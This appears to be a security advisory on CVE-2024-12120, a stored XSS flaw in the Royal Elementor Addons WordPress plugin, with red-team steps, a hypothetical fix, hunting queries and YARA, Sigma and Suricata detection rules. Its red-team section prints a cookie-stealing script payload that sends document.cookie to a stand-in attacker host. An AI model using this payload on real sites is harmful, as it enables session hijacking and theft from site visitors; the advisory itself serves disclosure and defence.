CVE-2024-12120

Executive Summary

CVE-2024-12120 is a Stored Cross-Site Scripting (XSS) vulnerability in the Royal Elementor Addons and Templates plugin for WordPress, affecting all versions up to and including 1.7.1017. The flaw resides in the Countdown widget's display_message_text parameter, where insufficient input sanitization and output escaping allow authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses a page containing the malicious payload.

This vulnerability is specific to the WordPress ecosystem and does not involve Apache or Nginx directly. The CVSS score of 5.4 (Medium) reflects the need for authenticated access and user interaction, but the stored nature of the XSS can lead to persistent compromise of affected sites, including session hijacking, defacement, or phishing attacks.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and ensure they are sourced from trusted channels. No known supply chain compromise has been reported, but the lack of a patch increases risk for unmaintained installations.

CVSS Breakdown & Threat Level

• CVSS Score: 5.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: Required (victim must visit the page)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is elevated due to the stored nature of the XSS, which can affect multiple users without repeated exploitation. The EPSS score of 0.0% suggests low current exploitation activity, but this may change as details become public.

Deep Dive & Mechanics

The vulnerability exists in the Countdown widget of the Royal Elementor Addons plugin. The display_message_text parameter is used to display a message when the countdown expires. Due to insufficient sanitization and output escaping, an attacker can inject malicious JavaScript code into this parameter.

Root Cause:

• The plugin fails to properly sanitize user input in the display_message_text field.
• Output escaping is not applied when rendering the message, allowing raw HTML/JavaScript to be stored and executed.

Attack Flow:

1. An authenticated user with Contributor-level access or higher creates or edits a page using the Countdown widget.
2. The attacker sets the display_message_text parameter to a malicious payload, e.g., <script>alert('XSS')</script>.
3. The payload is stored in the WordPress database.
4. When any user (including administrators) visits the page, the script executes in their browser context.

Impact:

• Session hijacking
• Defacement of the site
• Redirection to malicious sites
• Theft of sensitive data (e.g., cookies, tokens)

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical fix based on common WordPress security practices.

Vulnerable Code (hypothetical):

// In countdown-widget.php
$display_message = $settings['display_message_text'];
echo '<div class="countdown-message">' . $display_message . '</div>';

Patched Code (hypothetical):

// In countdown-widget.php
$display_message = $settings['display_message_text'];
echo '<div class="countdown-message">' . esc_html( $display_message ) . '</div>';

The patched version uses esc_html() to escape the output, preventing HTML/JavaScript injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with Royal Elementor Addons <= 1.7.1017
• User account with Contributor-level access or higher

Steps:

1. Log in to WordPress as a Contributor.
2. Create a new page or edit an existing one.
3. Add the Countdown widget from the Elementor editor.
4. In the widget settings, locate the display_message_text field.
5. Inject a payload, e.g.:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

6. Save and publish the page.
7. Wait for an administrator or other user to visit the page.

Expected Result: The victim's browser executes the script, sending their cookies to the attacker's server.

Blue Team

Detection:

• Monitor for unusual content in the display_message_text field of the Countdown widget.
• Look for pages containing script tags or event handlers in the countdown message area.

Hunting:

• Search the WordPress database for stored XSS payloads:

  SELECT * FROM wp_postmeta WHERE meta_key LIKE '%display_message_text%' AND meta_value LIKE '%<script%';
  

• Review server logs for requests to suspicious URLs originating from the site.

Mitigation:

• Disable the Countdown widget until a patch is applied.
• Implement a Web Application Firewall (WAF) rule to block common XSS patterns.
• Restrict Contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/royal-elementor-addons/ (check for modified files)
• Database: Entries in wp_postmeta with meta_key containing display_message_text and meta_value containing <script> or event handlers.
• Network: Outbound connections to attacker-controlled domains from the WordPress site.
• Logs: HTTP requests to pages containing the Countdown widget with unusual parameters.

Detection Engineering

YARA Rule

rule CVE_2024_12120_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Royal Elementor Addons Countdown widget"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12120"
    strings:
        $payload1 = /<script[^>]*>.*<\/script>/is
        $payload2 = /on\w+\s*=\s*["'][^"']*["']/is
        $widget = "display_message_text"
    condition:
        $widget and ($payload1 or $payload2)
}

Sigma Rule

title: Stored XSS via Royal Elementor Addons Countdown Widget
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS payloads in the display_message_text parameter of the Countdown widget.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "display_message_text"
        http.body|contains: 
            - "<script"
            - "onload="
            - "onerror="
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in widget settings (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-12120 Stored XSS in Royal Elementor Addons"; flow:to_server,established; content:"display_message_text"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Countdown widget in the Royal Elementor Addons plugin settings.
2. Restrict user roles: Limit Contributor-level access to only trusted users.
3. Apply a WAF rule to block XSS payloads in the display_message_text parameter.

Long-term Fix:

• Monitor the plugin vendor for an official patch. If none is released, consider replacing the plugin with an alternative.
• Implement a Content Security Policy (CSP) to mitigate XSS impact.
• Regularly audit user-generated content for malicious scripts.

Workaround:

• Manually patch the plugin by adding esc_html() to the output of display_message_text in the plugin's source code (see Vulnerable vs. Patched Code section).

Valters IT
Securing Digital Frontiers